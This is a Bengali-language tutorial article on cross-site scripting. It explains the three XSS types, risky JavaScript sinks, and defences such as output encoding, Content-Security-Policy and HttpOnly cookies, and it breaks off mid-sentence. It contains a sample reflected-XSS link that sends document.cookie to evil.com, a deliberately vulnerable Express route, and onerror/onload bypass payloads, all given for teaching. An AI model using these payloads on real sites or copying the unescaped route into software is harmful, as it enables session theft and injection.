Cross-Site Scripting: XSS কেন এখনও 2024 সালে সমস্যা সৃষ্টি করছে

XSS দুই দশক ধরে OWASP Top 10 এ আছে এবং এটি এখনও একজন pentester এর প্রথম পরীক্ষাগুলির মধ্যে একটি। এই বাগটি ব্যাখ্যা করা সহজ কিন্তু সম্পূর্ণভাবে বন্ধ করা বিরক্তিকর: একজন আক্রমণকারী তাদের JavaScript কে একজন ভিক্টিমের ব্রাউজারে আপনার সাইটের origin এর অধীনে চালাতে পারে। একবার এটা ঘটলে, তারা কুকিজ পড়তে পারে, অনুরোধ জালিয়ে তৈরি করতে পারে অথবা ব্যবহারকারীর সামনে পৃষ্ঠা পুনর্লিখন করতে পারে।

তিনটি ধরনের XSS

Reflected XSS হল ক্লাসিক ফিশিং-লিংক আক্রমণ। একটি সার্চ পেজ URL থেকে ?q= নেয় এবং এটি সরাসরি HTML-এ কোন এনকোডিং ছাড়াই প্রিন্ট করে। যদি কাউকে https://shop.example/search?q=<script>fetch('https://evil.com/steal?c='+document.cookie)</script> এর মতো একটি লিংক পাঠান এবং তারা লগইন করা অবস্থায় এটি ক্লিক করে, তাদের সেশন কুকি আক্রমণকারীর কাছে চলে যাবে।

Stored XSS আরও খারাপ কারণ এর জন্য কোন লিংকের প্রয়োজন নেই। একটি মন্তব্য ক্ষেত্র, একটি প্রোফাইল বায়ো, একটি সাপোর্ট টিকিটের বর্ণনা — যেকোনো জায়গায় যেখানে ব্যবহারকারীর ইনপুট সংরক্ষিত হয় এবং পরে অন্যান্য ব্যবহারকারীদের কাছে রেন্ডার করা হয়। একবার পেলোড পোস্ট করুন এবং সেই পেজ দেখতে আসা প্রতিটি ভিজিটর আক্রান্ত হয়, কোন সামাজিক প্রকৌশল প্রয়োজন নেই।

DOM-based XSS সম্পূর্ণভাবে ক্লায়েন্ট-সাইড কোডে থাকে। সার্ভার কখনও ম্যালিশাস পেলোড দেখে না; এটি JavaScript যা location.hash বা document.referrer এর মতো কিছু পড়ে এবং এটিকে innerHTML বা eval() এ ঠেলে দেয়। এটি মানুষকে বিভ্রান্ত করে কারণ সার্ভার-সাইড লগিং সম্পূর্ণভাবে পরিষ্কার দেখায়।

এটি আসলে কোথা থেকে আসে

বেশিরভাগ XSS বাগ একটি ভুলে নেমে আসে: অবিশ্বস্ত ডেটাকে বিশ্বস্ত মার্কআপ বা কোড হিসাবে বিবেচনা করা। JavaScript এ দেখার জন্য সাধারণ sinks: innerHTML, outerHTML, document.write, eval, স্ট্রিং আর্গুমেন্ট সহ setTimeout এবং jQuery এর .html()। সার্ভার-সাইডে, টেমপ্লেট ইঞ্জিন যা ডিফল্টরূপে auto-escape করে না (HTML-এ raw স্ট্রিং সংযোগ) সাধারণত অপরাধী।

একটি দ্রুত বাস্তব-বিশ্বের উদাহরণ: একটি Node/Express অ্যাপ যা করছে

app.get('/greet', (req, res) => {
  res.send(`<h1>Hello ${req.query.name}</h1>`);
});

এর একটি তাৎক্ষণিক reflected XSS আছে। req.query.name শূন্য এনকোডিং সহ সরাসরি প্রতিক্রিয়ায় যায়। যে কেউ /greet?name=<img src=x onerror=alert(document.domain)> এ হিট করলে প্রায় দুই সেকেন্ডে এটি প্রমাণ করে।

সত্যিকারের এটি ঠিক করা

Context-aware output encoding হল প্রকৃত সমাধান, একটি workaround নয়। HTML body, HTML attribute, JavaScript string এবং URL contexts প্রতিটি ভিন্ন এনকোডিং নিয়ম প্রয়োজন — একটি লাইব্রেরি যেমন OWASP এর Java Encoder, বা Jinja2, React JSX বা Handlebars এর মতো টেমপ্লেট ইঞ্জিনে built-in auto-escaping এটি সঠিকভাবে পরিচালনা করে। React বিশেষত ডিফল্টরূপে text content escape করে, যার কারণে dangerouslySetInnerHTML এর নাম এমনভাবে রাখা হয়েছে: এটি একটি সতর্কতা লেবেল।

ইনপুট validation সাহায্য করে কিন্তু নিজে থেকেই যথেষ্ট নয়। <script> ট্যাগ অস্বীকার করা ক্রমাগত bypass হয় — <img src=x onerror=...>, <svg onload=...> বা প্রায় যেকোনো ট্যাগে ইভেন্ট হ্যান্ডলার সব কাজ করে। প্রত্যাশিত ফরম্যাটকে allowlist করা (একটি ইমেইল regex, একটি numeric ID) একটি গৌণ স্তর হিসাবে ভাল কিন্তু এটি যথাযথ output encoding প্রতিস্থাপন করে না।

Content-Security-Policy উপলব্ধ সবচেয়ে শক্তিশালী defense-in-depth স্তর। একটি নীতি যেমন

Content-Security-Policy: script-src 'self' 'nonce-r4nd0m123'; object-src 'none'; base-uri 'self';

inline স্ক্রিপ্ট এবং তৃতীয়-পক্ষ স্ক্রিপ্ট sources ব্লক করে যদি না স্পষ্টভাবে nonce'd বা allowlist করা হয়, যা বেশিরভাগ XSS payloads কে execution থেকে থামায় এমনকি যদি তারা এনকোডিং slip past করে। Production CSPs এ unsafe-inline এবং unsafe-eval এড়িয়ে চলুন; তারা বেশিরভাগ সুরক্ষাকে পরাজিত করে।

HttpOnly এবং Secure flags সহ কুকিজ সেট করুন যাতে একটি সফল XSS এমনকি document.cookie এর মাধ্যমে সরাসরি সেশন কুকি পড়তে না পারে। এটি injection বন্ধ করে না কিন্তু এটি blast radius উল্লেখযোগ্যভাবে সীমাবদ্ধ করে।

নিজে এটি পরীক্ষা করা

Burp Suite এর active scanner অনেক reflected এবং stored XSS স্বয়ংক্রিয়ভাবে ধরা পড়ায়, কিন্তু DOM-based cases এর জন্য manual testing এখনও গুরুত্বপূর্ণ। DOMPurify এর নিজস্ব test suite বা সহজভাবে আপনার codebase এ innerHTML = এবং eval( এর জন্য grep করার মতো সরঞ্জাম দ্রুত একটি চমকপ্রদ সংখ্যক findings surface করবে। একটি manual probe এর জন্য, পেলোড